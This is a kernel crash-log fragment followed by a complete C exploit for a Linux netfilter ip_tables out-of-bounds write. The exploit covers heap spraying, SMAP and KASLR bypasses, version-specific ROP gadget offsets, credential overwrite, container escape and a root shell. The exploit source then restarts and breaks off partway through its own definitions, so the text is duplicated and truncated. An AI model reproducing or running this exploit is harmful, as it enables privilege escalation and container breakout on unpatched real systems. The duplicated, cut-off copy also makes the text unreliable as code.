00
00
00
00
00
00
00
00
00
00
[
1185.207507
] ffff8881e4c97580:
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
00
[
1185.207549
] >ffff8881e4c97600: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207605
] ^
[
1185.207628
] ffff8881e4c97680: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207732
] ffff8881e4c97700: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[
1185.207780
]
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
[
1185.207882
] Disabling lock debugging due to kernel taint
[
1185.209449
] x_tables: ip6_tables: icmp6.
0
match: invalid size
8
(kernel) !
=
(user)
212
// exp.c
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096
#define HOLE_STEP 1024
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337
#define MSG_TAG 0xAAAAAAAA
// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1
// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF
// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C
// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B
// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1
#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0
#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59
// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_A_POP_RBP_RET 0x6A98FF
// 0xffffffff810891bc : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x891BC
// 0xffffffff810f5633 : pop rcx ; ret
#define POP_RCX_RET 0xF5633
// 0xffffffff811abaae : pop rsi ; ret
#define POP_RSI_RET 0x1ABAAE
// 0xffffffff81089250 : pop rdi ; ret
#define POP_RDI_RET 0x89250
// 0xffffffff810005ae : pop rbp ; ret
#define POP_RBP_RET 0x5AE
// 0xffffffff81557894 : mov rdi, rax ; jne 0xffffffff81557888 ; xor eax, eax ; ret
#define MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET 0x557894
// 0xffffffff810724db : cmp rcx, 4 ; jne 0xffffffff810724c0 ; pop rbp ; ret
#define CMP_RCX_4_JNE_POP_RBP_RET 0x724DB
#define FIND_TASK_BY_VPID 0xBFBC0
#define SWITCH_TASK_NAMESPACES 0xC7A50
#define COMMIT_CREDS 0xC8C80
#define PREPARE_KERNEL_CRED 0xC9110
#define ANON_PIPE_BUF_OPS 0x1078380
#define INIT_NSPROXY 0x1663080
#else
#error "No kernel version defined"
#endif
// clang-format on
#define SKB_SHARED_INFO_SIZE 0x140
#define MSG_MSG_SIZE (sizeof(struct msg_msg))
#define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg))
struct
msg_msg {
uint64_t m_list_next;
uint64_t m_list_prev;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct
msg_msgseg {
uint64_t next;
};
struct
pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t
private
;
};
struct
pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
struct
{
long
mtype;
char
mtext[PRIMARY_SIZE - MSG_MSG_SIZE];
} msg_primary;
struct
{
long
mtype;
char
mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
} msg_secondary;
struct
{
long
mtype;
char
mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE];
} msg_fake;
void
build_msg_msg(
struct
msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
int
write_msg(
int
msqid,
const
void
*msgp,
size_t
msgsz,
long
msgtyp) {
*(
long
*)msgp = msgtyp;
if
(msgsnd(msqid, msgp, msgsz -
sizeof
(
long
), 0) < 0) {
perror
(
"[-] msgsnd"
);
return
-1;
}
return
0;
}
int
peek_msg(
int
msqid,
void
*msgp,
size_t
msgsz,
long
msgtyp) {
if
(msgrcv(msqid, msgp, msgsz -
sizeof
(
long
), msgtyp, MSG_COPY | IPC_NOWAIT) <
0) {
perror
(
"[-] msgrcv"
);
return
-1;
}
return
0;
}
int
read_msg(
int
msqid,
void
*msgp,
size_t
msgsz,
long
msgtyp) {
if
(msgrcv(msqid, msgp, msgsz -
sizeof
(
long
), msgtyp, 0) < 0) {
perror
(
"[-] msgrcv"
);
return
-1;
}
return
0;
}
int
spray_skbuff(
int
ss[NUM_SOCKETS][2],
const
void
*buf,
size_t
size) {
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
for
(
int
j = 0; j < NUM_SKBUFFS; j++) {
if
(write(ss[i][0], buf, size) < 0) {
perror
(
"[-] write"
);
return
-1;
}
}
}
return
0;
}
int
free_skbuff(
int
ss[NUM_SOCKETS][2],
void
*buf,
size_t
size) {
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
for
(
int
j = 0; j < NUM_SKBUFFS; j++) {
if
(read(ss[i][1], buf, size) < 0) {
perror
(
"[-] read"
);
return
-1;
}
}
}
return
0;
}
int
trigger_oob_write(
int
s) {
struct
__attribute__((__packed__)) {
struct
ipt_replace replace;
struct
ipt_entry entry;
struct
xt_entry_match match;
char
pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct
xt_entry_target target;
} data = {0};
data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad) +
sizeof
(data.target));
data.entry.next_offset = (
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad) +
sizeof
(data.target));
data.entry.target_offset =
(
sizeof
(data.entry) +
sizeof
(data.match) +
sizeof
(data.pad));
data.match.u.user.match_size = (
sizeof
(data.match) +
sizeof
(data.pad));
strcpy
(data.match.u.user.name,
"icmp"
);
data.match.u.user.revision = 0;
data.target.u.user.target_size =
sizeof
(data.target);
strcpy
(data.target.u.user.name,
"NFQUEUE"
);
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if
(setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data,
sizeof
(data)) != 0) {
if
(
errno
== ENOPROTOOPT) {
printf
(
"[-] Error ip_tables module is not loaded.\n"
);
return
-1;
}
}
return
0;
}
// Note: Must not touch offset 0x10-0x18.
void
build_krop(
char
*buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;
#ifdef KERNEL_COS_5_4_89
*(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET;
rop = (uint64_t *)&buf[0x18];
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = scratchpad_addr;
// R14
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBX
*rop++ = 0xDEADBEEF;
// R14
*rop++ = 0xDEADBEEF;
// RBP
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0;
// RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1;
// RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + COMMIT_CREDS;
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1;
// RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RDX_RET;
*rop++ = 1;
// RDX
*rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY;
// RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0x25;
// RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#elif KERNEL_UBUNTU_5_8_0_48
*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;
rop = (uint64_t *)&buf[0xD8];
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr;
// R12
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBX
*rop++ = 0xDEADBEEF;
// R12
*rop++ = 0xDEADBEEF;
// RBP
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0;
// RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4;
// RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1;
// RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4;
// RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF;
// RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY;
// RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA;
// RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
#endif
}
int
setup_sandbox(
void
) {
if
(unshare(CLONE_NEWUSER) < 0) {
perror
(
"[-] unshare(CLONE_NEWUSER)"
);
return
-1;
}
if
(unshare(CLONE_NEWNET) < 0) {
perror
(
"[-] unshare(CLONE_NEWNET)"
);
return
-1;
}
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if
(sched_setaffinity(getpid(),
sizeof
(set), &set) < 0) {
perror
(
"[-] sched_setaffinity"
);
return
-1;
}
return
0;
}
int
main(
int
argc,
char
*argv[]) {
int
s;
int
fd;
int
ss[NUM_SOCKETS][2];
int
pipefd[NUM_PIPEFDS][2];
int
msqid[NUM_MSQIDS];
char
primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
char
secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];
struct
msg_msg *msg;
struct
pipe_buf_operations *ops;
struct
pipe_buffer *buf;
uint64_t pipe_buffer_ops = 0;
uint64_t kheap_addr = 0, kbase_addr = 0;
int
fake_idx = -1, real_idx = -1;
printf
(
"[+] Linux Privilege Escalation by theflow@ - 2021\n"
);
printf
(
"\n"
);
printf
(
"[+] STAGE 0: Initialization\n"
);
printf
(
"[*] Setting up namespace sandbox...\n"
);
if
(setup_sandbox() < 0)
goto
err_no_rmid;
printf
(
"[*] Initializing sockets and message queues...\n"
);
if
((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror
(
"[-] socket"
);
goto
err_no_rmid;
}
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
if
(socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror
(
"[-] socketpair"
);
goto
err_no_rmid;
}
}
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
if
((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror
(
"[-] msgget"
);
goto
err_no_rmid;
}
}
printf
(
"\n"
);
printf
(
"[+] STAGE 1: Memory corruption\n"
);
printf
(
"[*] Spraying primary messages...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
memset
(&msg_primary, 0,
sizeof
(msg_primary));
*(
int
*)&msg_primary.mtext[0] = MSG_TAG;
*(
int
*)&msg_primary.mtext[4] = i;
if
(write_msg(msqid[i], &msg_primary,
sizeof
(msg_primary), MTYPE_PRIMARY) <
0)
goto
err_rmid;
}
printf
(
"[*] Spraying secondary messages...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
memset
(&msg_secondary, 0,
sizeof
(msg_secondary));
*(
int
*)&msg_secondary.mtext[0] = MSG_TAG;
*(
int
*)&msg_secondary.mtext[4] = i;
if
(write_msg(msqid[i], &msg_secondary,
sizeof
(msg_secondary),
MTYPE_SECONDARY) < 0)
goto
err_rmid;
}
printf
(
"[*] Creating holes in primary messages...\n"
);
for
(
int
i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if
(read_msg(msqid[i], &msg_primary,
sizeof
(msg_primary), MTYPE_PRIMARY) <
0)
goto
err_rmid;
}
printf
(
"[*] Triggering out-of-bounds write...\n"
);
if
(trigger_oob_write(s) < 0)
goto
err_rmid;
printf
(
"[*] Searching for corrupted primary message...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
if
(i != 0 && (i % HOLE_STEP) == 0)
continue
;
if
(peek_msg(msqid[i], &msg_secondary,
sizeof
(msg_secondary), 1) < 0)
goto
err_no_rmid;
if
(*(
int
*)&msg_secondary.mtext[0] != MSG_TAG) {
printf
(
"[-] Error could not corrupt any primary message.\n"
);
goto
err_no_rmid;
}
if
(*(
int
*)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(
int
*)&msg_secondary.mtext[4];
break
;
}
}
if
(fake_idx == -1 && real_idx == -1) {
printf
(
"[-] Error could not corrupt any primary message.\n"
);
goto
err_no_rmid;
}
// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf
(
"[+] fake_idx: %x\n"
, fake_idx);
printf
(
"[+] real_idx: %x\n"
, real_idx);
printf
(
"\n"
);
printf
(
"[+] STAGE 2: SMAP bypass\n"
);
printf
(
"[*] Freeing real secondary message...\n"
);
if
(read_msg(msqid[real_idx], &msg_secondary,
sizeof
(msg_secondary),
MTYPE_SECONDARY) < 0)
goto
err_rmid;
// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf
(
"[*] Spraying fake secondary messages...\n"
);
memset
(secondary_buf, 0,
sizeof
(secondary_buf));
build_msg_msg((
void
*)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if
(spray_skbuff(ss, secondary_buf,
sizeof
(secondary_buf)) < 0)
goto
err_rmid;
// Use the fake secondary message to read out-of-bounds.
printf
(
"[*] Leaking adjacent secondary message...\n"
);
if
(peek_msg(msqid[fake_idx], &msg_fake,
sizeof
(msg_fake), 1) < 0)
goto
err_rmid;
// Check if the leak is valid.
if
(*(
int
*)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf
(
"[-] Error could not leak adjacent secondary message.\n"
);
goto
err_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (
struct
msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if
(kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf
(
"[+] kheap_addr: %"
PRIx64
"\n"
, kheap_addr);
if
((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf
(
"[-] Error kernel heap address is incorrect.\n"
);
goto
err_rmid;
}
printf
(
"[*] Freeing fake secondary messages...\n"
);
free_skbuff(ss, secondary_buf,
sizeof
(secondary_buf));
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf
(
"[*] Spraying fake secondary messages...\n"
);
memset
(secondary_buf, 0,
sizeof
(secondary_buf));
build_msg_msg((
void
*)secondary_buf, 0x41414141, 0x42424242,
sizeof
(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if
(spray_skbuff(ss, secondary_buf,
sizeof
(secondary_buf)) < 0)
goto
err_rmid;
// Use the fake secondary message to read from kheap_addr.
printf
(
"[*] Leaking primary message...\n"
);
if
(peek_msg(msqid[fake_idx], &msg_fake,
sizeof
(msg_fake), 1) < 0)
goto
err_rmid;
// Check if the leak is valid.
if
(*(
int
*)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf
(
"[-] Error could not leak primary message.\n"
);
goto
err_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (
struct
msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if
(kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf
(
"[+] kheap_addr: %"
PRIx64
"\n"
, kheap_addr);
if
((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
printf
(
"[-] Error kernel heap address is incorrect.\n"
);
goto
err_rmid;
}
printf
(
"\n"
);
printf
(
"[+] STAGE 3: KASLR bypass\n"
);
printf
(
"[*] Freeing fake secondary messages...\n"
);
free_skbuff(ss, secondary_buf,
sizeof
(secondary_buf));
// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf
(
"[*] Spraying fake secondary messages...\n"
);
memset
(secondary_buf, 0,
sizeof
(secondary_buf));
build_msg_msg((
void
*)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if
(spray_skbuff(ss, secondary_buf,
sizeof
(secondary_buf)) < 0)
goto
err_rmid;
printf
(
"[*] Freeing sk_buff data buffer...\n"
);
if
(read_msg(msqid[fake_idx], &msg_fake,
sizeof
(msg_fake), MTYPE_FAKE) < 0)
goto
err_rmid;
printf
(
"[*] Spraying pipe_buffer objects...\n"
);
for
(
int
i = 0; i < NUM_PIPEFDS; i++) {
if
(pipe(pipefd[i]) < 0) {
perror
(
"[-] pipe"
);
goto
err_rmid;
}
// Write something to populate pipe_buffer.
if
(write(pipefd[i][1],
"pwn"
, 3) < 0) {
perror
(
"[-] write"
);
goto
err_rmid;
}
}
printf
(
"[*] Leaking and freeing pipe_buffer object...\n"
);
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
for
(
int
j = 0; j < NUM_SKBUFFS; j++) {
if
(read(ss[i][1], secondary_buf,
sizeof
(secondary_buf)) < 0) {
perror
(
"[-] read"
);
goto
err_rmid;
}
if
(*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf
(
"[+] anon_pipe_buf_ops: %"
PRIx64
"\n"
, pipe_buffer_ops);
printf
(
"[+] kbase_addr: %"
PRIx64
"\n"
, kbase_addr);
if
((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
printf
(
"[-] Error kernel base address is incorrect.\n"
);
goto
err_rmid;
}
printf
(
"\n"
);
printf
(
"[+] STAGE 4: Kernel code execution\n"
);
printf
(
"[*] Spraying fake pipe_buffer objects...\n"
);
memset
(secondary_buf, 0,
sizeof
(secondary_buf));
buf = (
struct
pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (
struct
pipe_buf_operations *)&secondary_buf[0x290];
#ifdef KERNEL_COS_5_4_89
// RAX points to &buf->ops.
// RCX points to &buf.
ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX;
#elif KERNEL_UBUNTU_5_8_0_48
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
#endif
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if
(spray_skbuff(ss, secondary_buf,
sizeof
(secondary_buf)) < 0)
goto
err_rmid;
// Trigger pipe_release().
printf
(
"[*] Releasing pipe_buffer objects...\n"
);
for
(
int
i = 0; i < NUM_PIPEFDS; i++) {
if
(close(pipefd[i][0]) < 0) {
perror
(
"[-] close"
);
goto
err_rmid;
}
if
(close(pipefd[i][1]) < 0) {
perror
(
"[-] close"
);
goto
err_rmid;
}
}
printf
(
"[*] Checking for root...\n"
);
if
((fd = open(
"/etc/shadow"
, O_RDONLY)) < 0) {
printf
(
"[-] Error could not gain root privileges.\n"
);
goto
err_rmid;
}
close(fd);
printf
(
"[+] Root privileges gained.\n"
);
printf
(
"\n"
);
printf
(
"[+] STAGE 5: Post-exploitation\n"
);
printf
(
"[*] Escaping container...\n"
);
setns(open(
"/proc/1/ns/mnt"
, O_RDONLY), 0);
setns(open(
"/proc/1/ns/pid"
, O_RDONLY), 0);
setns(open(
"/proc/1/ns/net"
, O_RDONLY), 0);
printf
(
"[*] Cleaning up...\n"
);
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
// TODO: Fix next pointer.
if
(i == fake_idx)
continue
;
if
(msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror
(
"[-] msgctl"
);
}
for
(
int
i = 0; i < NUM_SOCKETS; i++) {
if
(close(ss[i][0]) < 0)
perror
(
"[-] close"
);
if
(close(ss[i][1]) < 0)
perror
(
"[-] close"
);
}
if
(close(s) < 0)
perror
(
"[-] close"
);
printf
(
"[*] Popping root shell...\n"
);
char
*args[] = {
"/bin/bash"
,
"-i"
, NULL};
execve(args[0], args, NULL);
return
0;
err_rmid:
for
(
int
i = 0; i < NUM_MSQIDS; i++) {
if
(i == fake_idx)
continue
;
if
(msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror
(
"[-] msgctl"
);
}
err_no_rmid:
return
1;
}
// exp.c
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on
#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096
#define HOLE_STEP 1024
#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337
#define MSG_TAG 0xAAAAAAAA
// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1
// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF
// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
#define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8
// 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret
#define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972
// 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret
#define MOV_RSP_RBP_POP_RBP_RET 0x6748C
// 0xffffffff810c7c80 : pop rdx ; ret
#define POP_RDX_RET 0xC7C80
// 0xffffffff8143a2b4 : pop rsi ; ret
#define POP_RSI_RET 0x43A2B4
// 0xffffffff81067520 : pop rdi ; ret
#define POP_RDI_RET 0x67520
// 0xffffffff8100054b : pop rbp ; ret
#define POP_RBP_RET 0x54B
// 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret
#define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6
// 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret
#define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1
#define FIND_TASK_BY_VPID 0x963C0
#define SWITCH_TASK_NAMESPACES 0x9D080
#define COMMIT_CREDS 0x9EC10
#define PREPARE_KERNEL_CRED 0x9F1F0
#define ANON_PIPE_BUF_OPS 0xE51600
#define INIT_NSPROXY 0x1250590
#elif KERNEL_UBUNTU_5_8_0_48
// 0xffffffff816e9783 : push rsi ; jmp qword ptr [rsi + 0x39]
#define PUSH_RSI_JMP_QWORD_PTR_RSI_39 0x6E9783
// 0xffffffff8109b6c0 : pop rsp ; ret
#define POP_RSP_RET 0x9B6C0
// 0xffffffff8106db59 : add rsp, 0xd0 ; ret
#define ADD_RSP_D0_RET 0x6DB59
// 0xffffffff811a21c3 : enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET 0x1A21C3
// 0xffffffff81084de3 : mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret
#define MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET 0x84DE3
// 0xffffffff816a98ff : push qword ptr [rbp + 0xa] ; pop rbp ; ret
